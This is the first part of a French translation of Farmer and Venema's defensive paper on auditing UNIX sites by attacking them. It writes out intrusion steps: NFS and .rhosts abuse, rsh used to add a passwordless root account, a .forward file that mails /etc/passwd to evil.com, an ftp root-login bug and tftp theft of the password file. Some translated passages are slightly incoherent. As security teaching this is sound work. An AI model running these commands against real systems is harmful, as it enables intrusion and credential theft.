Améliorer la sécurité
de votre site informatique
en le piratant
Dan Farmer | Wietse Venema |
Sun Microsystems | Université de Technologie de Eindhoven |
zen@sun.com | mailto:wietse@wzv.win.tue.nl |
Traduit de l’américain par Antoine Tissier | Titre original : Improving the Security of Your Site by Breaking Into It |
Introduction
Chaque jour, partout dans le monde, des réseaux informatiques
et des serveurs sont piratés. Le degré de sophistication
de ces attaques est très variable ; si l’idée que la plupart
de ces effractions est due à des mots de passes faibles est très
répandue, un grand nombre d’effractions utilise des techniques bien
plus avancées. Ce dernier type d’effraction est bien moins connu,
car plus difficile à détecter.
CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley. Purdue. Sun. Leurs sites informatiques ont tous étés piratés. Tout ce qu’il y a sur Internet (et beaucoup de ce qui n’y est pas) semble être des cibles relativement faciles. Que s’est il donc passé ?
Transition …
Un jeune garçon, aux cheveux blonds et gras, assis dans une salle obscure. La salle est illuminée par la luminosité de l’écran d’un vieux C64. Prenant une nouvelle longue bouffée de ses cigarettes " Benson and Hedges ", le cracker fatigué se connecte au suivant site militaire anonyme de sa liste de cibles. Les tentatives " guest – guest " , " root – root ", et " system – manager " ont toutes échouées. Ce n’est rien. Il a toute la nuit … il raye le serveur de sa liste, et fatigué, tente une connexion avec la victime potentielle suivante …
Cela semble être la vision populaire d’un cracker de système
informatique. Jeune, sans expérience, et ayant à sa disposition
une quantité considérable de temps à consacrer, pour
entrer juste dans un autre système. Toutefois, il existe un type
de cracker largement plus dangereux. Un cracker qui connaît les tout
derniers outils d’évaluation et de destruction de la sécurité,
qui peut les personnaliser à sa guise pour ses propres attaques,
et qui peut écrire ses propres programmes. Un cracker qui ne se
contente pas de lire les dernières failles en matière de
sécurité, mais qui découvre aussi lui-même des
bogues et des vulnérabilités. Une créature mortelle
qui peut tout à la fois frapper mortellement de son venin, et effacer
ses traces sans un bruit ou piste éventuelle. C’est là qu’intervient
est le uebercracker.
Pourquoi " uebercracker " ? L’idée a évidemment été
empruntée au uebermensch de Nietzsche ou traduit littéralement
en français, "surhomme ". Nietzsche a utilisé ce terme non
pour faire allusion à une BD superman, mais plutôt à
un homme qui est allé au-delà de l’incompétence, de
l’insignifiance et de la faiblesse de l’homme de tous les jours. L’uebercracker
est donc le cracker qui a dépassé les simples recettes de
piratages. Un uebercracker n’est pas simplement motivé pour exécuter
arbitrairement des actes de violence. Les cibles ne sont pas choisies au
hasard – il y a un but, un gain personnel d’argent, la recherche d’informations
ou le défi de frapper un site important ou très célèbre.
Un uebercracker est difficile à détecter, très difficile
à arrêter, et encore plus difficile à l ‘empêcher
d’entrer dans votre site pour de bon.
Vue d’ensemble
Dans cet article, nous prendrons une inhabituelle approche de la sécurité informatique. Plutôt que de simplement avertir l’existence d’une faille, nous nous mettrons à la place d’un intrus potentiel, qui exploite cette faille. Nous montrerons que même les services réseaux apparemment insignifiants peuvent devenir des outils de grande valeur dans la recherche de points faibles d’un système même s’ils agissent de la manière qu’ils sont supposés suivre.
Dans l’effort d’éclaircir les techniques avancées d’intrusion, cet article souligne les différents mécanismes que les crackers ont finalement utilisé pour obtenir l’accès à des systèmes, et, aussi, des techniques que soit nous supposons être utilisé par des intrus, soit que nous avons utilisé nous même dans des tests ou dans des environnements amicaux et autorisés.
Ce qui nous motive pour écrire cet article, c’est que les administrateurs système sont bien souvent ignorants des dangers présentés par tout ce qu’il peut y avoir derrière la plus insignifiante des attaques. Alors qu’il est largement connu que le niveau protection adéquat dépend de ce qu’il y a à protéger, beaucoup de sites semblent ne pas pouvoir estimer le niveau de sécurité adéquate du serveur et du réseau. En montrant que les intrus peuvent obtenir l’accès à un site distant, nous essayons d’aider les administrateurs systèmes à faire des décisions éclairées sur la manière de sécuriser leur site. Nous nous limiterons aux techniques qui peuvent donner un accès distant à un shell sur un serveur UNIX. Une fois cela, les détails pour obtenir les privilèges de root ne seront pas abordés – nous les considérons comme trop dépendante du site, et bien souvent, sans importance.
Nous voulons souligner que nous ne nous contenterons pas de faire une liste de bogues et de failles de sécurité – il y en aura toujours de nouvelles à exploiter pour un attaquant potentiel. L’objet de cet article est d’essayer d’amener le lecteur à regarder son site d’un œil différent – un œil qui lui permettra comment la sécurité de son système peut être déjouée.
Nous aimerions aussi rappeler au lecteur que l’objet de cet article est de vous montrer comment tester la sécurité de votre propre site, et non comment s’introduire de manière illicite dans les systèmes des autres. Les techniques d’intrusion que nous illustrons laisserons dans biens des cas, des traces sur le fichier d’audit des connections – il peut être constructif de les examiner après certaines de ces attaques, pour voir à quoi ressemblerait une réelle attaque. Certainement d’autres sites et administrateurs systèmes auront une très mauvaise opinion de vos activités si vous décider d’utiliser leurs serveurs pour tester leur sécurité sans autorisation spéciale ; aussi il est possible qu’une procédure légale soit engagée contre vous s’ils le perçoivent comme une attaque.
L’article se divise en quatre parties. La première partie est l’introduction. La seconde tente de donner au lecteur le nécessaire pour détecter un intrus et comment est-il possible de compromettre la sécurité d’un site en n’ayant que très peu de renseignements à l’origine. Cette section traite des techniques actuelles pour obtenir des informations et un accès à un système, et des stratégies de base tels qu’exploiter la confiance et abuser de la mauvaise configuration des services réseaux (ftp, mail, tftp, etc.). Des sujets plus avancées seront également abordés tels que NIS et NFS, aussi bien que des bugs et problèmes de configurations qui sont davantage spécifiques au système et à l’OS. Les stratégies de défenses contre chacune de ces attaques y sont également traitées.
La troisième section aborde le thème de la confiance : comment la sécurité d’un système dépend de l’intégrité d’autres systèmes. La confiance est le sujet le plus complexe abordé dans cet article, et par soucis de concision nous nous limiterons à l’usurpation d’identité.
La quatrième section aborde les premières étapes qu’un administrateur système devrait suivre protéger son système. La plupart des méthodes présentées ici sont très répandues, mais sont bien souvent inappliquées – l’un de nos objectifs est de montrer comment il peut être dangereux d’ignorer les règles basiques de sécurité.
Des études de cas, références à des informations relatives à la sécurité, et logiciels sont décris dans les appendices à la fin de l’article.
En explorant les méthodes et stratégies abordées dans cet article, nous avons écrit SATAN (Security Analysis Tool for Auditing Networks). Ecrit en shell, Perl, et en C, il examine un ou plusieurs serveur(s) distant(s) et rassemble un maximum d’informations en utilisant NIS, finger, NFS, ftp et tftp, rexd et d’autres services. Ces données incluent aussi bien la présence de nombreux services d’informations que la présence éventuelle de failles dans la sécurité – souvent sous la forme de configuration incorrecte des services réseaux, de bogues bien connus des utilitaires systèmes et réseaux ou de mauvaises décisions en matière de politique de sécurité. Le scanner rapporte alors les informations ou utilisé un système expert pour enquêter davantage sur les problèmes potentiels de sécurité. Alors que SATAN n’utilise aucune des techniques décrites dans cet article, il a réussi avec grande régularité à trouver des sérieuses failles dans la sécurité de sites Internet. Une fois complété, il sera mis à disposition du public via ftp ; l’appendice A révèle ses traits caractéristiques.
Notez qu’il est impossible de couvrir l’ensemble des techniques d’intrusion en un seul article. En effet, deux méthodes des plus efficaces pour s’introduire sur un serveur ne seront pas traitées : le social engineering et le perçage de mot de passe. La dernière de ces méthodes est très efficace, au tel point que plusieurs des stratégies abordées ici ont pour objectif l’acquisition du fichier de mot de passes. De plus, alors que les systèmes à environnement graphiques (X, OpenWindows, etc …) peuvent être des sources fertiles à exploiter, nous ne connaissons pas beaucoup de méthodes utilisées pour s’introduire sur des systèmes distants. Beaucoup de crackers utilise des terminaux non graphiques qui peuvent les empêcher d’utiliser certaines des méthodes les plus intéressantes pour les systèmes fenêtrés efficacement (alors que pouvoir surveiller le clavier de la victime est souvent suffisant pour s’emparer d’un mot de passe). Finalement, alors que les vers, les virus, les chevaux de Troie, et autres outils sataniques sont très intéressants, ils ne sont pas commun (sur les systèmes Unix) et utiliseront probablement des techniques similaires à celles décrites plus loin dans l’article comme partie de leur stratégie d’attaque.
Obtenir de l’information
Supposons que vous êtes l’administrateur système du réseaux de station de travail Unix de la société Victime. Dans le but de sécuriser vos machines, vous demandez à un ami administrateur système d’un site voisin (evil.com) de vous donner un compte sur une de leur machine de manière à ce que vous pouvez observer la sécurité de votre système de l’extérieur.
Que devez-vous faire ? Tout d’abord, essayez de glaner des informations concernant votre serveur cible. Il y a un grand nombre de services à essayer : finger, showmount, et rpcinfo sont de bons points de départs. Mais ne vous arrêtez pas là – vous devriez également essayez DNS, whois, sendmail(smtp), ftp, uucp, et tous les services que vous pourrez trouver. Il y a tellement de méthodes que pour des raisons d’espaces nous ne pouvons toutes les présenter, mais nous essayerons de vous montrer une sélection des plus courantes et/ou dangereuses stratégies que nous avons vues ou imaginées. Si vous le pouvez, vous devez essayer de collecter de telles informations sur le sous-réseaux ou la zone d’attaque – l’information fait la force – mais pour l’instant nous allons uniquement examiner notre cible.
Commencer par regarder ce que renvoie la commande finger (supposez que nous sommes le 6 novembre 1993 à 18h) :
victim% finger @victim.com
[victim.com]
Login | Name | TTY | Idle | When | Where |
zen | Dr. Fubar | Co | 1d | Wed 08 :00 | death.com |
Maintenant, essayez d’autres tactiques. Comme chacun des utilisateurs de finger sait, faire un finger sur " @ ", " 0 ", et " " , aussi bien que sur des noms courants tels que root, bin, ftp, system, guest, demo, manager, etc., peut révéler des informations intéressantes. La nature des informations dépends de la version de finger lancée par le serveur, mais les plus intéressantes sont le nom des comptes, et leurs répertoires et le serveur d’où ils se sont connecté.
Pour obtenir les informations à propos des dernières personnes qui se sont connectées, vous pouvez utilisez la commande ruser (en particulier avec l’option –l).
Essayer ces commandes sur victim.com révèle les informations
suivantes, présentées dans ce tableau (raccourci pour économiser
de l’espace) :
Login | Home-dir | Shell | Last login, from where |
root | / | /bin/sh | Fri Nov 07 :42 on ttyp1 from big.victim.com |
bin | /bin | Never logged in | |
nobody | / | Tue Jun 15 08 :57 on ttyp2 from server.victim.com | |
daemon | / | Tue Mar 23 12 :14 on ttyp0 from big.victim.com | |
sync | / | /bin/sync | Tue Mar 23 12 :14 on ttyp0 from big.victim.com |
zen | /home/zen | /bin/bash | On since Wed Nov 6 on ttyp3 from death.com |
sam | /home/sam | /bin/csh | Wed Nov 5 05 :33 on ttyp3 from evil.com |
guest | /home/foo | /bin/sh | Never logged in |
ftp | /home/ftp | Never logged in |
Nos expériences sur le logiciel SATAN et l’observation de cracker en action nous ont prouvé que finger est l’un des services les plus dangereux, parce qu’il est très utilisé pour examiner une cible potentielle. Toutefois, beaucoup de ces informations ne sont utiles que si utilisées en conjonction avec d’autres données.
Par exemple, lancer showmount sur la cible donne :
evil% showmount –e victim.com
export list for victim.com
/export | (everyone) |
/var | (everyone) |
/usr | easy |
/export/exec/kvm/sun4c.sunos.4.1.3 | easy |
/export/root/easy | easy |
/export/swap/easy | easy |
Notez que /export/foo est partagé à tout le monde ; notez aussi que c’est le répertoire par défaut du compte guest. L’heure de votre première intrusion a maintenant sonné ! Dans cet exemple, vous allez monter le répertoire par défaut du compte guest. Comme vous n’avez pas de compte correspondant sur votre machine locale, et que le root ne peut modifier des fichiers sur un système de fichiers NFS montés, vous allez créer un compte guest dans votre fichier local de mot de passe. En tant qu’utilisateur guest vous pouvez placer un .rhosts sur le répertoire par défaut du compte guest distant, ce qui va vous permettre de vous connecter sur la machine cible sans pour autant devoir fournir un mot de passe.
evil # mount victim.com:/export/foo /foo
evil # cd /foo
evil # ls –lag
total 3
1 | drwxr-xr-x | 11 | root | daemon | 512 | Jun | 19 | 09 :47 | . |
1 | drwxr-xr-x | 7 | root | wheel | 512 | Jul | 19 | 1991 | .. |
1 | drwx--x--x | 9 | 10001 | daemon | 1024 | Aug | 3 | 15 :49 | guest |
evil # echo guest :x :10001 :1 :compte temporaire:/ :>>/etc/passwd
evil # ls – lag
total 3
1 | drwxr-xr-x | 11 | root | daemon | 512 | Jun | 19 | 09 :47 | . |
1 | drwxr-xr-x | 7 | root | wheel | 512 | Jul | 19 | 1991 | .. |
1 | drwx--x--x | 9 | 10001 | daemon | 1024 | Aug | 3 | 15 :49 | guest |
evil # su guest
evil % echo victim.com >> guest/.rhosts
evil % rlogin victim.com
Welcome to victim.com !
victim%
Si, à la place d’un répertoire par défaut, victim.com exportait un répertoire contenant des commandes utilisateurs (comme /usr ou /usr/local/bin), vous pourriez remplacer une commande par un cheval de Troie qui exécute la commande de votre choix. L’utilisateur suivant qui utilisera cette commande lancera votre programme.
Nous suggérons que ces systèmes de fichiers doivent être exportés :
evil % whoami
bin
evil % rsh victim.com csh –i
Warning : no access to tty ; thus no job control in this shell …
victim % ls –ldg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18 :02 /etc
victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor : :0 :1 : compte de root temporaire:/:/bin/sh ; cat pw.old ) > passwd
victim % ^D
evil % rlogin victim.com –l toor
Welcome to victim.com
victim #
Remarque à propos de la méthode utilisée ci-dessus ; la commande " rsh victim.com csh –i " est utilisée au début pour rentrer dans le système parce qu’elle ne laisse aucune trace dans les fichiers de journalisation wtmp ou utmp, ce qui rend le rsh invisible depuis finger et who. Le shell distant n’est pas attaché à un pseudo-terminal, de cette façon, des programmes graphiques comme un pageur ou un éditeur ne vont pas marcher – mais cela est très pratique pour des explorations brèves.
Le logiciel d’audit de sécurité COPS (voir appendice D)
vous donnera le nom des fichiers et répertoires clés qui
sont accessible en écriture depuis des comptes autre que celui de
superuser. Si vous utiliser SunOS 4.x vous pouvez utiliser le patch 100103
pour enlever la majorité des problèmes de permission de fichier.
Sur bien des systèmes, l’exploration par rsh montrée précédemment,
même quand la commande réussi, ne sera pas totalement transparente
; la couche TCP (voir appendice D), qui reçoit les connections entrantes,
peut aider à mettre en évidence de telles activités.
Et maintenant ? Avez-vous découvert toutes les failles sur le système cible ? Non, et de loin. Revenons sur les résultats de la commande finger sur la cible, vous remarquerez qu’il y a un compte ftp, ce qui signifie en général que le ftp anonyme est mis. Le ftp anonyme peut être un moyen facile d’obtenir un accès, car il est souvent mal configuré. Par exemple, la cible peut avoir une copie intégrale de son fichier de mot de passe dans le répertoire du ftp anonyme ~ftp/etc et non une version simplifiée. Dans cette exemple, vous verrez que cette dernière proposition ne semble pas être vraie (mais comment en être sûr sans avoir examiné le fichier ?). Cependant, le répertoire de ftp de victim.com est inscriptible. Cela vous permet d’exécuter à distance – dans le cas présent, envoyer le fichier de mots de passe à vous – tout simplement en créant en fichier .forward qui exécute une commande quand un mail est envoyé au compte ftp. C’est le même mécanisme que relier la messagerie à un programme dont le programme d’évacuation utilise pour répondre automatiquement au courrier électronique.
evil % cat message_de_retour
"/bin/mail zen@evil.com < /etc/passwd "
evil % ftp victime.com
Connected to victim.com
220 victim FTP server ready.
Name (victim.com :zen) : ftp
331 Guest login ok, send ident as password.
Password :
230 Guest login ok, access restrictions apply.
ftp> ls –lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes)
total 5
drwxr-xr-x | 4 | 101 | 1 | 512 | Jun | 20 | 1991 | . |
drwxr-xr-x | 4 | 101 | 1 | 512 | Jun | 20 | 1991 | .. |
drwxr-xr-x | 2 | 0 | 1 | 512 | Jun | 20 | 1991 | bin |
drwxr-xr-x | 2 | 0 | 1 | 512 | Jun | 20 | 1991 | etc |
drwxr-xr-x | 3 | 101 | 1 | 512 | Aug | 22 | 1991 | pub |
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3,6 Kbytes /s)
ftp> put message_de_retour .forward
43 bytes send in 0.0015 seconds (28 Kbytes /s)
ftp>quit
evil % echo test | mail ftp@victim.com
Maintenant il suffit d’attendre que le fichier de mots de passe vous soient envoyé.
L’outil d’audit de sécurité COPS vérifiera la qualité de l’installation de votre ftp anonyme, regardez la page man pour ftpd, la documentation et le code pour COPS, ou le conseil du CERT 93 :10 pour vous renseignez sur la façon de configurer le ftp anonyme correctement.
Les vulnérabilités sous ftp sont souvent une question de propriété incorrecte ou de permissions anormales sur les répertoires ou fichiers clés. Au minimum, vérifier que le répertoire ~ftp est possédé par le root et n’est pas inscriptible par n’importe quel utilisateur.
En regardant ftp, vous pouvez vérifier un vieux bogue qui a été autrefois largement exploité :
% ftp –n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls –al / (ou tout autre chose)
Si cela marche, vous êtes maintenant connecté en tant que root, et capable de modifier le fichier de mots de passe, ou tout ce que vous voulez. Si votre système présente ce bogue, vous devez mettre à jour votre démon ftp, soit par votre vendeur ou (par ftp anonyme) par le moyen de ftp://ftp.uu.net/.
Wuarchive ftpd, un substitut populaire du démon ftp, mise à disposition par l’Université de Washington à Saint Louis, a le même problème. Si votre version wuarchive ftpd date d’avant le 8 avril 1993, vous devez la remplacer par une version plus récente.
Enfin, il y a un programme vaguement similaire à ftp – tftp, le programme simplifié de transfert de fichier. Ce démon ne demande aucun mot de passe pour l’authentification ; si un serveur permet des connections tftp sans aucun restriction d’accès (habituellement par configuration de certaines options dans le fichier inetd.conf), un attaquant peut lire écrire des fichiers dans l’ensemble du système. Dans l’exemple suivant, vous prélevez le fichier de mots de passe à distance et le placez dans le répertoire /tmp de votre système :
evil % tftp
tftp> connect victim.com
tftp>get /etc/passwd /tmp/passwd.victim
tftp>quit
Dans l’intérêt de votre sécurité, tftp ne
doit pas être utilisé ; si tftp est nécessaire, configurez
la sécurité de manière à ce que l’accès
soit restreint à un répertoire qui ne présente pas
d’information sensible, ou utilisez le sous contrôle d’un " chroot
wrapper program ".
Fin de la première partie